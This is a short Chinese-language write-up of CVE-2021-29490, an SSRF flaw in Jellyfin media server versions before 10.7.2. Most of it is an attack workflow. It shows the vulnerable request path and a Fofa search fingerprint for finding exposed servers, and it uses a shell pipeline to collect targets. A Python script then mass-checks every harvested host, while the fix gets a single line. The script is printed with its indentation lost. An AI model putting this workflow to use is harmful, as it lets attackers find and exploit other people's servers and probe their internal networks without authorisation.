CVE-2021-29490-Jellyfin-SSRF

1. 漏洞简介

Jellyfin 是一个自由软件媒体系统，可让您控制媒体的管理和流媒体。它是专有的 Emby 和 Plex 的替代品，可通过多个应用程序从专用服务器向终端用户设备提供媒体。Jellyfin 是 Emby 3.5.2 版本的后代，移植到.NET Core 框架以支持完整的跨平台支持。没有任何附加条件，只是一个团队想要更好地构建更好的东西并共同努力实现它，致力于让所有用户都能访问最好的媒体系统

Jellyfin RemoteImageController.cs 文件中存在 SSRF 漏洞，通过构造特殊的请求，探测内网信息

2. 影响版本

Jellyfin < 10.7.2

3. 漏洞复现

/Images/Remote?imageUrl=http://www.baidu.com

fofa 搜索引擎的指纹为："Jellyfin" && port="8096" ，用 Fofa 采集工具.exe 批量收集资产

搜集到的资产结果会保存到同目录的一个 result.csv 文件中

用 shell 命令筛选 IP 或者域名

cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt

再用 python 脚本批量验证

Copy
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def Jellyfin():
with open("Jellyfin.txt") as file:
for line in file:
vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"

try:
response = requests.get(url=vuln_url, verify=False, timeout=10)
if response.status_code == 200:
print(vuln_url)
else:
pass
continue
except Exception as e:
pass
#print(e)
continue

def main():
Jellyfin()

if __name__ == '__main__':
main()

4. 漏洞修复

更新版本

5. 参考链接

关于 SSRF 漏洞，可以看这个博文：

Web 安全之 SSRF 漏洞